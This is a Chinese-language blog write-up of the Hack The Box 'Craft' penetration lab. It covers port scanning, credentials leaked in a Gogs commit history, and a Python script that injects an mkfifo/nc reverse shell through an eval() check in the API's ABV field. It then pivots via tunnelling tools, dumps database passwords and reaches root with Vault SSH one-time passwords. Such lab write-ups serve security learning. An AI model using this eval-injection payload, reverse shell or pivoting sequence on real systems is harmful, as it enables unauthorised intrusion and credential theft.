之前做了一个HTB的渗透环境,跟以前公司内部渗透的一次场景非常相似,也是提供了API接口,以及一个有漏洞的gitlab,当时经验不足,没有细心查看git commit log,错过了重要的信息。Craft这个渗透环境渗透思路挺值得学习,记录一下整个渗透过程。
Port Scan
root@kali:~/pentest/player# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.110 --rate=700
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-12-01 08:46:41 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.110
Discovered open port 6022/tcp on 10.10.10.110
Discovered open port 443/tcp on 10.10.10.110
root@kali:~/pentest/player# nmap -sC -sV -oA Player -p22,6022,443 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-01 08:51 GMT
Nmap scan report for 10.10.10.110
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
6022/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=1/8%Time=5E159816%P=x86_64-pc-linux-gnu%r(NUL
SF:L,C,"SSH-2.0-Gorn");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
6022端口疑似一个go写的ssh,暂时不知道有啥用。
API
使用https访问web
从页面右上角的链接还能发现两个子域名,都添加到hosts。
10.10.10.110 craft.htb api.craft.htb gogs.craft.htb
访问 https://api.craft.htb/api/ ,看英文介绍,貌似是一个管理啤酒生产的系统。
Gogs(git)
访问 https://gogs.craft.htb/ ,是一个go语言的开源git服务
在 https://gogs.craft.htb/Craft/craft-api 有craft-api的项目
看到工单管理(应该就是GitHub的issue吧)那里有一篇记录,点进去工单管理看一看
大概内容是一位印度小哥发现可以填写一个伪造的ABV(查了一下,是Alcohol by Volume,酒精度数),小哥建议在写入数据库前进行检测。项目作者表示“要不你来写,我来测试”。最后,一位胡子大叔提到,他已经修复数据库,建议移除印度小哥写的patch,以防发生意外。看来印度小哥写的代码有点问题。
查看git的commit记录,发现了之前测试的账号密码。
auth=('dinesh', '4aUh0A8PbVJxgd')
尝试使用这个账号密码登陆这个网站,发现可以使用😓。继续往下看,可以找到印度小哥写的patch,使用了eval这种骚操作进行判断,惊了。
下载源码进行简单审计,eval部分代码在post brew处,需要先进行登陆认证,可以使用印度小哥的测试账号,登陆成功会返回一个token,将token写入http头X-Craft-Api-Token
字段即可进行post brew操作。
@auth.auth_required
@api.expect(beer_entry)
def post(self):
"""
Creates a new brew entry.
"""
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
else:
create_brew(request.json)
return None, 201
用测试的账号密码进行auth,然后在abv字段进行代码注入,写个python脚本反弹shell。
import requests
from requests.auth import HTTPBasicAuth
import json
session = requests.Session()
response = session.get("https://api.craft.htb/api/auth/login",auth=HTTPBasicAuth("dinesh","4aUh0A8PbVJxgd"),verify=False)
token = json.loads(response.content)['token']
print(token)
data = {
"id": 111,
"brewer": "string",
"name": "string",
"style": "string",
"abv": "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f')"
}
rawBody = json.dumps(data)
print(rawBody)
headers = {"X-Craft-Api-Token":token,"Content-Type": "application/json"}
response = session.post("https://api.craft.htb/api/brew/", data=rawBody, headers=headers,verify=False)
本地监听23333端口,运行脚本就拿到shell,直接输入id
发现直接就是root,不过翻了一下目录并没有找到flag,再看了一下系统版本和根目录的文件,目测是一个docker,并没有拿到服务器shell。
/home # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home # uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
/home # ls -al /
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 6 2019 bin
drwxr-xr-x 5 root root 340 Jan 9 05:45 dev
在docker里面发现一个源码不存在的setting文件,这个文件写进.gitignore
了,所以没有上传到git项目,里面找到了数据库的账号密码。
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production
# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
留意到MYSQL_DATABASE_HOST
是db
,直接ping一下看看是什么IP好了。
/opt/app/craft_api # ping db
PING db (172.20.0.4): 56 data bytes
64 bytes from 172.20.0.4: seq=0 ttl=64 time=0.083 ms
docker本地没有mysql,我直接把端口转发回来
#本地执行
./ew -s lcx_listen -l 40010 -e 40020
#目标执行
./ew -s lcx_slave -d 10.10.15.55 -e 40020 -f 172.20.0.4 -g 3306
ew缺库跑不起来,还是用nps吧
./npc -server=10.10.15.55:44445 -vkey=bvpdlhuoptjw2wrg
使用nps的代理连接数据库,发现报错连不上。查了一下报错信息,原因可能是对方mysql是8.0,MySQL8.0.11版本默认的认证方式是caching_sha2_passwor
,我本地版本太低,不支持默认的密码加密方式,导致连接不上。
> mysql -h 172.20.0.4 -u craft -p
Enter password: **************
ERROR 2059 (HY000): Authentication plugin 'caching_sha2_password' cannot be loaded: 找不到指定的模块。
懒得下载MySQL8.0,直接用python脚本连接数据库
#!/usr/bin/env python
import pymysql
import sys
# test connection to mysql database
connection = pymysql.connect(host='172.20.0.4',
user='craft',
password='qLGockJ6G2J75O',
db='craft',
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
cursor.execute(sys.argv[1])
result = cursor.fetchall()
print(result)
finally:
connection.close()
在数据库中没找到flag,不过找到了另外两个项目人员的密码。
X:tmpew
> py -2 mysql.py "show tables;"
[{u'Tables_in_craft': 'brew'}, {u'Tables_in_craft': 'user'}]
X:tmpew
> py -2 mysql.py "s*lect * from user;"
[{u'username': 'dinesh', u'password': '4aUh0A8PbVJxgd', u'id': 1},
{u'username': 'ebachman', u'password': 'llJ77D8QFkLPQB', u'id': 4},
{u'username': 'gilfoyle', u'password': 'ZEU3N8WNM2rh4T', u'id': 5}]
Gogs Repository
ebachman
的账号密码提示不对(安全意识不错呀),gilfoyle
的账号成功登陆,并且发现他有一个私有项目。
项目的目录结构如下:
X:tmpcraft-infra
> ls -al
total 12
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 ./
drwxr-xr-x 1 kira 197121 0 Jan 9 15:53 ../
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 .ssh/
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 craft-flask/
-rw-r--r-- 1 kira 197121 1116 Feb 10 2019 docker-compose.yml
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 mysql/
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 nginx/
drwxr-xr-x 1 kira 197121 0 Feb 10 2019 vault/
简单看了一下代码,整个站包括api,git,mysql,nginx,还有一个vault都是用docker起的。关键还有个rsa的私钥,估计可以用来登陆服务器。
gilfoyle@craft:~$ pwd
/home/gilfoyle
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4xxxxxxxxxxxxxxxxxxxxxxxxx5a612d4
直接拿私钥登陆拿到低权限的flag。
Vault(Privilege Escalation)
继续查看craft-infra项目的代码,留意到vault这个应用上面渗透的过程中一直没见到,可能是一个特殊用途的应用,查看项目的commit log,可以发现一些端倪。
查一下什么是Vault。
vault是一个密码/证书集中式管理工具,通过HTTP-API对外提供统一的密码访问入口,并且提供权限控制以及详细的日志审计功能。
根据上面的代码,猜测可以通过Vault获取到root的权限。Vault提供了web接口和cli接口,看git的commit log,作者关闭了web入口,所以我们nmap扫描的时候也没有发现8200端口。
我们已经拿到shell了,因此没有web接口问题不大,可以直接使用cli。
官方手册地址:https://www.vaultproject.io/docs/
先对照官方手册研究一下配置文件干了什么。
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh # 使能ssh secrets engine 目录为: ssh/
vault write ssh/roles/root_otp # 将数据写入指定路径
key_type=otp
default_user=root
cidr_list=0.0.0.0/0
简单来说就是开启了SSH Secrets Engine,key模式为otp(The One-Time SSH Password),默认用户是root,没有限制登录ip。使用secrets list
可以查看已开启的Secrets Engine。
gilfoyle@craft:~$ vault secrets list
Path Type Accessor Description
---- ---- -------- -----------
cubbyhole/ cubbyhole cubbyhole_ffc9a6e5 per-token private secret storage
identity/ identity identity_56533c34 identity store
secret/ kv kv_2d9b0109 key/value secret storage
ssh/ ssh ssh_3bbd5276 n/a
sys/ system system_477ec595 system endpoints used for control, policy and debugging
使用read
可以查看已写入的配置
gilfoyle@craft:~$ vault read ssh/roles/root_otp
Key Value
--- -----
allowed_users n/a
cidr_list 0.0.0.0/0
default_user root
exclude_cidr_list n/a
key_type otp
port 22
使用vault ssh
进行连接,官方文档有ssh的命令格式,对着敲就行了,vault会自动生成OTP,复制OTP填入Password即可登陆。
SSH using the OTP mode (requires sshpass for full automation):
$ vault ssh -mode=otp -role=my-role user@1.2.3.4
gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@10.10.10.110
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 66181c61-6b2d-46b7-ad08-ce33d1323bf2
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|_________/|/ _
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | _| |
| | | | |___/
|_|__|__|_/|
_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# ls
root.txt
root@craft:~# cat root.txt
831d6xxxxxxxxxxxxxx28a11591
至此获取root权限,渗透结束。
总结
程序员在开发的时候可能会在代码仓库留下很多开发过程的测试账号和修bug记录,对此进行审计是渗透过程的重要突破口。
发表评论
您还未登录,请先登录。
登录